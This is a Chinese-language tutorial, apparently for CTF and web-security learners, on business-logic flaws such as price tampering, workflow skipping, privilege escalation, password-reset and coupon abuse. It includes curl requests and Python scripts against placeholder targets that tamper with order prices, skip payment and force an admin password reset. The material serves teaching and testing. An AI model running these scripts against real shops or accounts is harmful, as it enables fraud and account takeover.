逻辑漏洞
逻辑漏洞
本文适合
已掌握基本 Web 请求分析、认证和参数测试的学习者。学完你能:把业务流程拆成状态和信任边界,验证跳步、篡改、重复、异常值和越权类逻辑漏洞
逻辑漏洞不依赖代码层面的技术缺陷(如注入、溢出),而是业务流程设计上的缺陷。攻击者通过操控业务逻辑的执行顺序、参数值或状态转换,达成非预期的结果。
一句话判断
当代码没有明显注入或执行漏洞,但你可以通过改参数、跳步骤、重复请求、换账号或构造异常值得到不该得到的业务结果时,就要怀疑逻辑漏洞。
逻辑漏洞的核心是“系统相信了不该相信的业务状态”。它常常没有报错,也没有经典 payload,必须靠正常流程和异常流程的对比来证明。
题目中常见信号
- 请求里出现价格、折扣、积分、角色、状态、库存、订单金额、用户 ID 等业务关键字段。
- 前端按钮隐藏,但直接请求接口仍然能执行。
- 多步流程中某一步返回了
order_id、token、step,后续接口只检查这个值。 - 普通用户请求里带有
role、is_admin、status、paid、owner_id等可疑字段。 - 数量、金额、次数、页码、ID 可以传负数、零、小数、超大值或空值。
- 取消订单、退款、重置密码、领取奖励等状态转换没有严格校验顺序。
核心概念
逻辑漏洞不是某个固定技术点,而是业务规则没有在后端被完整执行。前端校验、按钮隐藏、页面跳转和客户端字段都不能作为安全边界,真正要看后端是否重新计算和校验。
分析时要盯住三类东西:
- 状态机:订单、支付、重置密码、注册、审核等流程能否跳步或回退。
- 信任边界:价格、角色、归属、权限、库存等是否由客户端传入并被后端信任。
- 不变量:余额不能为负、优惠券不能重复、未支付不能发货、普通用户不能改管理员字段。
只要异常操作破坏了这些不变量,就可以形成逻辑漏洞证明。
判断时重点看正常路径和异常路径在哪里分叉:
最小分析流程
- 用一个普通账号完整跑通正常流程,保存每个请求和最终结果。
- 画出请求序列:创建、校验、支付、确认、取消、退款、领取等状态转换。
- 标出每个请求中由客户端控制的字段,尤其是金额、ID、角色、状态和 token。
- 做五类测试:改值、删字段、换账号、跳步骤、重复请求。
- 对每个异常请求都查询最终业务状态,而不只看 HTTP 状态码。
- 用第二个账号或新资源复现,排除缓存、一次性状态和偶发现象。
最小验证示例
以下订单接口由前端传价格:
curl -X POST http://target/api/order/create \
-H "Cookie: session=USER" \
-H "Content-Type: application/json" \
-d '{"product_id":1001,"price":199,"quantity":1}'最小验证是把价格、数量和折扣改成异常值:
curl -X POST http://target/api/order/create \
-H "Cookie: session=USER" \
-H "Content-Type: application/json" \
-d '{"product_id":1001,"price":0.01,"quantity":1}'
curl -X POST http://target/api/order/create \
-H "Cookie: session=USER" \
-H "Content-Type: application/json" \
-d '{"product_id":1001,"price":199,"quantity":-1}'如果订单成功创建,再查询订单详情和支付金额。只有后端最终使用了篡改后的值,才算逻辑漏洞成立。
常见利用 / 解题路线
路线总览:
- 参数篡改路线:修改价格、数量、折扣、积分、角色、状态、归属 ID。
- 流程跳步路线:创建订单后直接确认、发货、领取奖励,绕过支付或审核。
- 重复操作路线:重复领取、重复退款、取消后再使用优惠券、重复提交同一 token。
- 越权联动路线:将自己的
user_id、order_id、file_id改成别人的,测试授权边界。 - 异常值路线:负数、零、小数、超大数、空数组、重复字段、类型混淆。
- 多账号路线:A 创建资源,B 操作资源,验证归属和权限是否在后端检查。
逻辑漏洞是什么
技术漏洞利用的是代码实现的错误。
逻辑漏洞利用的是业务设计的缺陷。
程序代码没有 bug,但业务规则之间的组合存在漏洞。例如:系统允许你用负数金额转账,代码层面没有报错,但业务上不应该允许。
常见类型
价格篡改
商品价格在前端传递,后端未校验。
POST /api/order
{"product_id": 1001, "price": 0.01, "quantity": 1}如果后端直接使用请求中的 price 字段计算总价,攻击者可以任意修改价格。
更隐蔽的方式:修改折扣比例、运费、优惠券金额。
数量篡改
数量字段允许负数或小数。
POST /api/cart/add
{"product_id": 1001, "quantity": -1}负数数量可能导致退款而非扣款,或者与正数数量组合后总价计算异常。
权限提升
通过修改请求中的角色或权限字段,从普通用户提升为管理员。
POST /api/profile/update
{"username": "attacker", "role": "admin"}如果后端没有严格校验哪些字段允许用户修改,就可能出现 mass assignment 漏洞。
流程绕过
业务流程有多步验证,攻击者跳过中间步骤。
例如:下单 -> 支付 -> 确认收货。攻击者直接调用"确认收货"接口,跳过支付步骤。
# 正常流程
POST /api/order/create -> 返回 order_id
POST /api/order/pay -> order_id=1234
POST /api/order/confirm -> order_id=1234
# 攻击:跳过支付
POST /api/order/create -> 返回 order_id
POST /api/order/confirm -> order_id=1234竞态条件
并发请求利用业务逻辑的时间窗口。详见 竞态条件。
密码重置逻辑
密码重置流程中的逻辑缺陷:
- 重置 token 可预测。
- 重置链接中的用户标识可篡改(如修改 email 参数)。
- 重置流程中的身份验证步骤可跳过。
# 步骤1: 请求重置
POST /api/reset-password
{"email": "victim@example.com"}
# 步骤2: 篡改目标邮箱
POST /api/reset-password/confirm
{"token": "legit_token", "email": "attacker@example.com", "new_password": "hacked"}优惠券/积分逻辑
- 同一优惠券多次使用。
- 优惠券在不满足条件时仍可使用。
- 积分兑换后不扣减。
- 优惠券叠加使用导致价格为负。
测试思路
逻辑漏洞的测试核心是理解业务流程,然后寻找偏离正常路径的方式。
- 画出业务流程图:列出所有步骤和状态转换。
- 识别信任边界:哪些数据来自客户端?哪些在服务端校验?
- 尝试跳步:直接访问后面的接口。
- 尝试篡改参数:修改金额、数量、ID、角色。
- 尝试异常值:负数、零、超大值、小数、空值。
- 尝试重复操作:同一请求发送多次。
Burp Suite 工作流
使用 Burp Suite 系统化测试逻辑漏洞。
Step 1: 抓取正常业务流程
用浏览器完成一次完整的业务操作(注册、下单、支付),在 Burp Proxy 中记录所有请求。
Step 2: 分析请求序列
在 HTTP History 中找到关键请求,注意:
- 哪些参数控制业务逻辑。
- 哪些请求之间有依赖关系。
- 哪些校验在前端,哪些在后端。
Step 3: Repeater 手动测试
将关键请求发送到 Repeater,逐一修改参数:
- 修改价格、数量、ID。
- 删除或修改认证头。
- 修改请求顺序。
Step 4: Intruder 批量测试
对需要遍历的参数(如 ID、优惠券码)使用 Intruder。
Step 5: 并发测试
对竞态相关的逻辑,使用 Turbo Intruder 或外部脚本并发发送请求。
代码示例:价格篡改探测
import requests
base_url = "http://target.com"
session = requests.Session()
# 登录
session.post(f"{base_url}/api/login", json={
"username": "testuser",
"password": "password123"
})
# 正常下单
normal_order = {
"product_id": 1001,
"price": 99.99,
"quantity": 1
}
r1 = session.post(f"{base_url}/api/order/create", json=normal_order)
print(f"正常订单: {r1.status_code} {r1.text[:200]}")
# 价格篡改测试
tampered_tests = [
{"product_id": 1001, "price": 0.01, "quantity": 1, "desc": "极低价格"},
{"product_id": 1001, "price": -100, "quantity": 1, "desc": "负价格"},
{"product_id": 1001, "price": 99.99, "quantity": -1, "desc": "负数量"},
{"product_id": 1001, "price": 0, "quantity": 1, "desc": "零价格"},
{"product_id": 1001, "price": 99.99, "quantity": 0.01, "desc": "极小数量"},
]
for test in tampered_tests:
desc = test.pop("desc")
r = session.post(f"{base_url}/api/order/create", json=test)
status = "可能存在漏洞" if r.status_code == 200 else "被拒绝"
print(f"[{status}] {desc}: {r.status_code} {r.text[:150]}")代码示例:流程绕过测试
import requests
base_url = "http://target.com"
session = requests.Session()
session.post(f"{base_url}/api/login", json={"username": "user1", "password": "pass"})
# Step 1: 创建订单
r = session.post(f"{base_url}/api/order/create", json={"product_id": 1001})
order_id = r.json().get("order_id")
print(f"订单创建: {order_id}")
# Step 2: 跳过支付,直接确认收货
r_confirm = session.post(f"{base_url}/api/order/confirm", json={"order_id": order_id})
print(f"直接确认: {r_confirm.status_code} {r_confirm.text[:200]}")
if r_confirm.status_code == 200 and "success" in r_confirm.text.lower():
print("[!] 流程绕过成功:跳过了支付步骤")
# Step 3: 测试跳过身份验证直接重置密码
r_reset = session.post(f"{base_url}/api/reset-password/confirm", json={
"email": "admin@example.com",
"new_password": "hacked123",
"token": "any_token"
})
print(f"密码重置绕过: {r_reset.status_code} {r_reset.text[:200]}")代码示例:优惠券逻辑测试
import requests
session = requests.Session()
session.post("http://target.com/api/login", json={"username": "user1", "password": "pass"})
coupon_code = "DISCOUNT50"
# 测试1: 同一优惠券并发使用
import threading
results = []
lock = threading.Lock()
def use_coupon():
r = session.post("http://target.com/api/coupon/apply", json={
"coupon_code": coupon_code,
"order_id": "ORD001"
})
with lock:
results.append(r.json())
threads = [threading.Thread(target=use_coupon) for _ in range(5)]
for t in threads:
t.start()
for t in threads:
t.join()
print(f"优惠券使用结果: {results}")
# 测试2: 优惠券叠加
r = session.post("http://target.com/api/order/create", json={
"product_id": 1001,
"coupons": ["DISCOUNT50", "WELCOME20", "NEWUSER10"]
})
print(f"优惠券叠加: {r.status_code} {r.text[:200]}")
# 测试3: 使用优惠券后取消再使用
r_cancel = session.post("http://target.com/api/order/cancel", json={"order_id": "ORD001"})
r_reuse = session.post("http://target.com/api/coupon/apply", json={
"coupon_code": coupon_code,
"order_id": "ORD002"
})
print(f"取消后重用: {r_reuse.status_code} {r_reuse.text[:200]}")常见失败原因
- 只关注技术漏洞,忽略业务逻辑。逻辑漏洞需要理解业务流程才能发现。
- 只测试正常流程。必须尝试跳步、篡改、重复、异常值。
- 以为前端校验足够。所有前端校验都可以绕过,关键看后端。
- 不记录完整请求序列。逻辑漏洞往往需要对比多个请求才能发现。
- 忽略负数和零值。很多计算逻辑对负数和零没有处理。
- 只看状态码不看响应体。200 不代表业务成功,要看响应中的业务状态。
排查时要补充这些动作:
- 改参数没有效果:检查是否还有签名字段、服务端重新计算字段或后续支付接口覆盖了值。
- 跳步失败:尝试复用正常流程中拿到的
order_id、token、step,不要凭空构造。 - 越权失败:换成两个同权限账号测试水平越权,再测普通用户到管理员的垂直越权。
- 负数失败:继续测小数、科学计数法、字符串数字、数组、重复参数和 JSON 类型混淆。
- 响应成功但结果没变:查询最终状态表、个人中心、订单详情和记录列表。
迷你案例
题目商城中商品价格 999,正常下单请求是:
{"product_id":7,"price":999,"quantity":1}把 price 改成 1 后,接口返回 order created。如果直接看响应还不够,需要继续支付并查订单:
curl -X POST http://target/api/pay -H "Cookie: session=USER" -d "order_id=123"
curl http://target/api/order/123 -H "Cookie: session=USER"订单详情显示 paid_amount: 1 且商品已发放,说明后端信任了客户端价格。这个案例的闭环是:正常流程基线 -> 价格字段篡改 -> 支付结果查询 -> 业务不变量被破坏。